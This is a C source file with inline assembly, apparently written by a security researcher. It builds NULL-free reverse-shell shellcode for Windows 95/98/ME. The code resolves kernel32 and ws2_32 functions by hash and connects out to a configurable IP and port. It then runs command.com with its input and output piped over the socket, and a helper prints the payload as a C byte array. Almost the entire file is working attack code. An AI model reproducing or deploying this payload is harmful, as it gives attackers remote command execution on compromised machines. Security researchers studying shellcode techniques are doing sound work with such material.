/*
 * Generic connectback9x shellcode for win32
 *
 * Description:
 *
 *    Connects to a specified IP:port and gives them a shell.
 *
 * Targets:
 *
 *    95/98/ME
 *
 * Usage:
 *
 *    $ connectback9x.exe
 *    Usage: connectback9x.exe [test | cstyle]
 *    
 *    To generate usable code:
 *
 *    $ connectback9x.exe cstyle
 *
 *    To test the code:
 *
 *    $ connectback9x.exe test
 *
 *    Run netcat on the remote machine before running the test.
 * 
 * Features/Quirks:
 *
 *    * No NULLs.
 *
 * References:
 *
 *    * PEB lookup based largely on Dino Dai Zovi's peb resolver.
 *
 * Disclaimer:
 *
 *    The author cannot be held responsible for how this code is used.
 *
 * Compile:
 *
 *    cl connectback9x.c /link /debug
 *
 * skape
 * mmiller@hick.org
 */
/*
 * Technical notes
 *
 * Hash calculations:
 *
 *  kernel32
 *
 *    LoadLibraryA        -> ec0e4e8e
 *    CreatePipe          -> 170c8f80
 *    GetCurrentProcess   -> 7b8f17e6
 *    DuplicateHandle     -> bd566724
 *    CloseHandle         -> 0ffd97fb
 *    CreateProcessA      -> 16b3fe72
 *    PeekNamedPipe       -> b407c411
 *    ReadFile            -> 10fa6516
 *    WriteFile           -> e80a791f
 *    Sleep               -> db2d49b0
 *    ExitProcess         -> 73e2d87e
 *
 *  ws2_32
 *
 *    WSAStartup          -> 3bfcedcb
 *    WSASocketA          -> adf509d9
 *    connect             -> 60aaf9ec
 *    ioctlsocket         -> ede29208
 *    recv                -> e71819b6
 *    send                -> e97019a4
 *
 * ebp+0x00 -> unused
 * ebp+0x04 -> absolute vma of find_function (rt determined)
 * ebp+0x08 -> scratch pad
 * ebp+0x0c -> command.com
 *
 * ebp+0x10 -> LoadLibraryA
 * ebp+0x14 -> CreatePipe
 * ebp+0x18 -> GetCurrentProcess
 * ebp+0x1c -> DuplicateHandle
 * ebp+0x20 -> CloseHandle
 * ebp+0x24 -> CreateProcessA
 * ebp+0x28 -> PeekNamedPipe
 * ebp+0x2c -> ReadFile
 * ebp+0x30 -> WriteFile
 * ebp+0x34 -> Sleep
 * ebp+0x38 -> ExitProcess
 *
 * ebp+0x40 -> WSAStartup
 * ebp+0x44 -> WSASocketA
 * ebp+0x48 -> connect
 * ebp+0x4c -> ioctlsocket
 * ebp+0x50 -> recv
 * ebp+0x54 -> send
 *
 * esi+0x04 -> client fd
 * esi+0x08 -> inRead
 * esi+0x0c -> inWrite
 * esi+0x10 -> outWrite
 * esi+0x14 -> outRead
 * esi+0x20 -> current process handle
 */
#include <stdio.h>

#pragma warning(disable: 4068)

#define DEFAULT_IP         0x41414141
#define DEFAULT_PORT       0x4242

#define REMOTE_IP_OFFSET   0x1ad
#define REMOTE_PORT_OFFSET 0x1b3

#define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+REMOTE_IP_OFFSET)) = (ip)
#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+REMOTE_PORT_OFFSET)) = (port)

void __declspec(naked) connectback9x_begin()
{
	__asm
	{
		entry:
			jmp   startup

#include "generic.c"
		
		startup:
			sub   esp, 0x60                 // Give us some room to work.
			mov   ebp, esp 	              // Use ebp as our frame pointer.

			call  find_kernel32             // Find the base address of kernel32.dll
			mov   edi, eax                  // Save it in edi

		shorten_find_function:
			jmp   shorten_find_function_bnc // Jump to the bounce point
		shorten_find_function_rel:
			pop   eax                       // Pop the return address
			sub   eax, 0x6a                 // offset from shorten_find_function_end to find_function
		shorten_find_function_fixed:
			mov   [ebp + 0x04], eax         // Save the absolute address in ebp+0x04
			jmp   shorten_find_function_end // Jump to the end	
		shorten_find_function_bnc:
			call  shorten_find_function_rel // Call back to relative to get our VMA
		shorten_find_function_end:
			mov   esi, [ebp + 0x04]         // Quick reference for find function

		initialize_command_com:
			mov   eax, 0x416d6f63
			and   eax, 0x92ffffff
			push  eax
			push  0x2e646e61
			push  0x6d6d6f63
			mov   [ebp + 0x0c], esp         // Save the command.com pointer.
 
		resolve_symbols_kernel32:          // edi -> kernel32.dll base 
			// LoadLibraryA
			push  0xec0e4e8e            
			push  edi
			call  esi
			mov   [ebp + 0x10], eax

			// CreatePipe
			push  0x170c8f80
			push  edi
			call  esi
			mov   [ebp + 0x14], eax
	
			// GetCurrentProcess
			push  0x7b8f17e6
			push  edi
			call  esi
			mov   [ebp + 0x18], eax
			
			// DuplicateHandle
			push  0xbd566724
			push  edi
			call  esi
			mov   [ebp + 0x1c], eax

			// CloseHandle
			push  0x0ffd97fb
			push  edi
			call  esi
			mov   [ebp + 0x20], eax

			// CreateProcessA
			push  0x16b3fe72
			push  edi
			call  esi
			mov   [ebp + 0x24], eax

			// PeekNamedPipe
			push  0xb407c411
			push  edi
			call  esi
			mov   [ebp + 0x28], eax

			// ReadFile
			push  0x10fa6516
			push  edi
			call  esi
			mov   [ebp + 0x2c], eax

			// WriteFile
			push  0xe80a791f
			push  edi
			call  esi
			mov   [ebp + 0x30], eax
			
			// Sleep
			push  0xdb2d49b0
			push  edi
			call  esi
			mov   [ebp + 0x34], eax

			// ExitProcess
			push  0x73e2d87e
			push  edi
			call  esi
			mov   [ebp + 0x38], eax
 
		resolve_symbols_ws2_32:            // edi -> ws_32.dll base   
			// Push 'ws2_32'
			xor   eax, eax
			mov   ax, 0x3233
			push  eax
			push  0x5f327377
	
			// Call load library on ws2_32	
			push  esp
			mov   eax, [ebp + 0x10]	
			call  eax
			mov   edi, eax                 

			// WSAStartup
			push  0x3bfcedcb
			push  edi
			call  esi
			mov   [ebp + 0x40], eax
			
			// WSASocketA
			push  0xadf509d9
			push  edi
			call  esi
			mov   [ebp + 0x44], eax
			
			// connect
			push  0x60aaf9ec
			push  edi
			call  esi
			mov   [ebp + 0x48], eax
			
			// ioctlsocket
			push  0xede29208
			push  edi
			call  esi
			mov   [ebp + 0x4c], eax
			
			// recv
			push  0xe71819b6
			push  edi
			call  esi
			mov   [ebp + 0x50], eax
			
			// send
			push  0xe97019a4
			push  edi
			call  esi
			mov   [ebp + 0x54], eax

		allocate_handle_space:	
			sub   esp, 0x30             // Allocate space for further storage
			mov   esi, esp              // Sub-frame pointer
			call  [ebp + 0x18]          // Get our current process handle
			mov   [esi + 0x20], eax     // Save it for later use

		initialize_winsock:
			xor   eax, eax              // Zero eax
			mov   ax, 0x190             // Set eax to 0x190 (sizeof(WSADATA))
			sub   esp, eax              // Allocate some space on the stack for it
			push  esp                   // Push the stack address of WSADATA for storage
			mov   ax, 0x0101            // Set eax for use as our version 
			push  eax                   // Push version 2.2
			call  [ebp + 0x40]          // Call WSAStartup

		create_socket:
			xor   eax, eax              // Zero eax
			push  eax                   // Flags
			push  eax                   // Reserved.					
			push  eax                   // Protocol information.
			push  eax                   // Default to TCP
			inc   eax                   // SOCK_STREAM (1)
			push  eax
			inc   eax                   // AF_INET (2)
			push  eax
			call  [ebp + 0x44]          // Call WSASocketA
			mov   [esi + 0x04], eax     // Save the client fd
			mov   edi, eax              // Save quick ref of client fd

		connect:			
			xor   ebx, ebx              // Zero ebx
			push  ebx                   // Push null
			push  ebx                   // Push null
			push  DEFAULT_IP            // XXX: IP
			mov   bx, DEFAULT_PORT      // XXX: Port
			sal   ebx, 16               // Shift the port left 16 bits
			mov   bl,  0x2              // Put AF_INET in the lower 8 bits
			push  ebx                   // Push sin_family/sin_port
			mov   eax, esp              // Grab the address of our sockaddr_in struct
			xor   ebx, ebx              // Zero ebx
			mov   bl, 0x10              // Set our size to 16
			push  ebx                   // Size: 16
			push  eax                   // sockaddr_in pointer
			push  edi                   // Client fd
			call  [ebp + 0x48]          // Call connect

		initialize_stdin:
			xor   eax, eax              // Zero eax
			push  eax                   // nSize
			push  eax                   // Security attributes
			lea   ebx, [ebp + 0x08]     // Load address for scratch pad inWriteTmp
			push  ebx                   // Write handle
			lea   ebx, [esi + 0x08]     // Load address of inRead
			push  ebx                   // Read handle
			call  [ebp + 0x14]          // Call CreatePipe
			
		duplicate_stdin:
			xor   eax, eax              // Zero eax
			mov   al, 0x02              // DUPLICATE_SAME_ACCESS
			push  eax                   // dwOptions
			xor   eax, eax              // Zero eax
			push  eax                   // Inherit handle (FALSE)
			push  eax                   // Desired access
			lea   ebx, [esi + 0x0c]     // Load address of inWrite
			push  ebx                   // Target handle
			push  [esi + 0x20]          // Target process
			push  [ebp + 0x08]          // Source handle (inWriteTmp)
			push  [esi + 0x20]          // Source process
			call  [ebp + 0x1c]          // Call DuplicateHandle

		close_stdin_copy:
			push  [ebp + 0x08]          // inWriteTmp
			call  [ebp + 0x20]          // Call CloseHandle
		
		initialize_stdout:
			xor   eax, eax              // Zero eax
			push  eax                   // nSize
			push  eax                   // Security attributes
			lea   ebx, [esi + 0x10]     // Load address of outWrite
			push  ebx                   // Read handle
			lea   ebx, [ebp + 0x08]     // Load address for scratch pad outReadTmp
			push  ebx                   // Write handle
			call  [ebp + 0x14]          // Call CreatePipe
			
		duplicate_stdout:
			xor   eax, eax              // Zero eax
			mov   al, 0x02              // DUPLICATE_SAME_ACCESS
			push  eax                   // dwOptions
			xor   eax, eax              // Zero eax
			push  eax                   // Inherit handle (FALSE)
			push  eax                   // Desired access
			lea   ebx, [esi + 0x14]     // Load address of outRead
			push  ebx                   // Target handle
			push  [esi + 0x20]          // Target process
			push  [ebp + 0x08]          // Source handle (inWriteTmp)
			push  [esi + 0x20]          // Source process
			call  [ebp + 0x1c]          // Call DuplicateHandle

		close_stdout_copy:
			push  [ebp + 0x08]          // outReadTmp
			call  [ebp + 0x20]          // Call CloseHandle

		initialize_process:
			xor   ecx, ecx              // Zero ecx
			mov   cl, 0x54              // Set ecx to 0x54
			sub   esp, ecx              // Make room for STARTUPINFO(0x44)/PROCESS_INFORMATION(0x16)
			mov   edi, esp              // Preserve in edi
		zero_structs:
			xor   al, al                // We want to store 0
			rep   stosb                 // Repeat storing zero until ecx is 0
		initialize_startupinfo:
			mov   edi, esp              // Restore edi
			mov   byte ptr [edi], 0x44  // cbSize     -> 0x44
			inc   byte ptr [edi + 0x2c] // dwFlags    -> | STARTF_USESHOWWINDOW (0x0001)
			inc   byte ptr [edi + 0x2d] // dwFlags    -> | STARTF_USESTDHANDLES (0x0100)
			mov   edx, [esi + 0x08]     // Put inRead in edx
			mov   [edi + 0x38], edx     // hStdInput  -> inRead
			mov   edx, [esi + 0x10]     // Put outWrite in edx
			mov   [edi + 0x3c], edx     // hStdOutput -> outWrite
			mov   [edi + 0x40], edx     // hStdError  -> outWrite

		execute_process:
			lea   ebx, [edi + 0x44]     // Load the address of our PROCESS_INFORMATION starting point
			xor   eax, eax              // Zero eax for use later
			
			push  ebx                   // PROCESS_INFORMATION
			push  edi                   // STARTUPINFO
			push  eax                   // Startup Directory
			push  eax                   // Environment
			mov   al, 0x10              // CREATE_NEW_CONSOLE
			push  eax                   // Creation flags
			xor   al, al                // Zero eax again
			inc   eax                  
			push  eax                   // Inherit handles (TRUE)
			dec   eax
			push  eax                   // Thread attributes
			push  eax                   // Process attributes
			push  [ebp + 0x0c]          // Command line
			push  eax                   // Module name
			call  [ebp + 0x24]          // Call CreateProcess

		allocate_raw_buffer:
			xor   eax, eax              // Zero eax
			mov   ax, 0x010c            // Set ax to 268
			sub   esp, eax              // Allocate 268 bytes of stack space
			mov   edi, esp              // edi is our read loop stack frame pointer
		read_loop:
		read_from_fd_chk:	
			lea   eax, [edi]            // Load the address from which to write our bytesRead
			push  eax                   // bytesForRead
			push  0x4004667f            // FIONREAD
			push  [esi + 0x04]          // Client fd
			call  [ebp + 0x4c]          // Call ioctlsocket

			mov   eax, [edi]            // Do we have any bytes for reading?
			test  eax, eax              // We're testing for zero bytes
			jz    read_from_process_chk // It's zero, skip over reading from the fd
		
		read_from_fd_recv:
			xor   eax, eax              // Zero eax
			push  eax                   // Flags
			mov   ax, 0x104             // 260 bytes for reading
			push  eax                   // Size
			lea   eax, [edi + 0x04]     // Load the address of our buffer to read into
			push  eax                   // Buffer
			push  [esi + 0x04]          // Client fd
			call  [ebp + 0x50]          // Call recv

			test  eax, eax              // Check for zero byte read
			jz    read_loop             // If it's zero, just keep looping
	
		read_from_fd_write_chk:
			xor   ecx, ecx              // Zero ecx
			lea   edx, [edi + 0x04]     // Get the buffer offset
		read_from_fd_write_chk_loop:
			cmp   ecx, eax                       // Have we reached the end?
			jg    read_from_fd_write             // Yes, jump out.
			cmp   byte ptr [edx + ecx], 0x0a     // Is this is \n?
			jne   read_from_fd_write_chk_cont    // Nope...keep going
			cmp   byte ptr [edx + ecx - 1], 0x0d // Is there a \r before it?
			je    read_from_fd_write_chk_cont    // Yes, we're fine
			mov   byte ptr [edx + ecx], 0x0d     // Set the \n to a \r
			mov   byte ptr [edx + ecx + 1], 0x0a // Set the last byte to \n
			inc   eax                            // Adjust the bytes read by one
			jmp   read_from_fd_write             // No more checking needed
			
		read_from_fd_write_chk_cont:
			inc   ecx                            // Go to the next byte
			jmp   read_from_fd_write_chk_loop    // Loop again

		read_from_fd_write:
			xor   edx, edx              // Zero edx
			push  edx                   // Overlapped
			push  edi                   // Bytes written
			push  eax                   // Bytes to write
			lea   edx, [edi + 0x04]     // Load the address of our buffer
			push  edx                   // Buffer
			push  [esi + 0x0c]          // inWrite handle
			call  [ebp + 0x30]          // Call WriteFile and fall through

		read_from_process_chk:
			xor   eax, eax              // Zero eax
			push  eax                   // Bytes left in message
			push  edi                   // Bytes available
			push  eax                   // Bytes read
			push  eax                   // Buffer size
			push  eax                   // Buffer
			push  [esi + 0x14]          // outRead handle
			call  [ebp + 0x28]          // Call PeekNamedPipe

			test  eax, eax              // Make sure the return value is true
			jz    sleep                 // It's not, we loop
			mov   eax, [edi]            // Grab the number of bytes available
			test  eax, eax              // Test to see if it's zero
			jz    sleep                 // It's zero, we loop.

		read_from_process:             
			xor   ebx, ebx              // Zero ebx
			push  ebx                   // Overlapped
			push  edi                   // Bytes read pointer
			xor   eax, eax              // Zero eax
			mov   ax, 0x104             // 260 bytes for reading
			push  eax                   // Bytes to read
			lea   edx, [edi + 0x04]     // Load the address of our buffer
			push  edx                   // Buffer
			push  [esi + 0x14]          // outRead handle
			call  [ebp + 0x2c]          // Call ReadFile

			test  eax, eax              // Did it succeed?
			jz    sleep                 // Nope
			mov   eax, [edi]            // Grab bytes read
			test  eax, eax              // Did it read zero bytes?
			jz    sleep                 // Yup.

		read_from_process_write:
			xor   ebx, ebx              // Zero ebx
			push  ebx                   // Flags
			push  eax                   // Bytes to write
			lea   eax, [edi + 0x04]     // Load the address of our buffer
			push  eax                   // Buffer
			push  [esi + 0x04]          // Client fd
			call  [ebp + 0x54]          // Call send and drop down

		sleep:
			xor   eax, eax              // Zero eax
			mov   al, 0x64              // 100 ms
			push  eax                   // Timeout
			call  [ebp + 0x34]          // Call Sleep
			jmp   read_loop             // Go again

		exit:
			call  [ebp + 0x1c]          // Call ExitProcess
	}
}

void __declspec(naked) connectback9x_end()
{
	__asm ret
}

int main(int argc, char **argv)
{
	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
		connectback9x_begin();
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)connectback9x_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)connectback9x_end);
		unsigned char *c     = NULL;
		unsigned long x      = 0, length;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start  += *(unsigned long *)((unsigned char *)connectback9x_begin + 1) + 5;
		stop   += *(unsigned long *)((unsigned char *)connectback9x_end + 1) + 5;
		length  = stop - start;

		fprintf(stdout, "// %lu byte connectback9x shellcode\n\n", length);
		fprintf(stdout, "#define SET_CONNECTBACK_IP(buf, ip)     *(unsigned long *)(((buf)+%d)) = (ip)\n", REMOTE_IP_OFFSET);
		fprintf(stdout, "#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+%d)) = (port)\n\n", REMOTE_PORT_OFFSET);
		fprintf(stdout, "unsigned char connectback9x[] = \"");

		for (c = start;
				x < length;
				x++)
			fprintf(stdout, "\\x%2.2x", c[x]);

		fprintf(stdout, "\";\n\n");
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
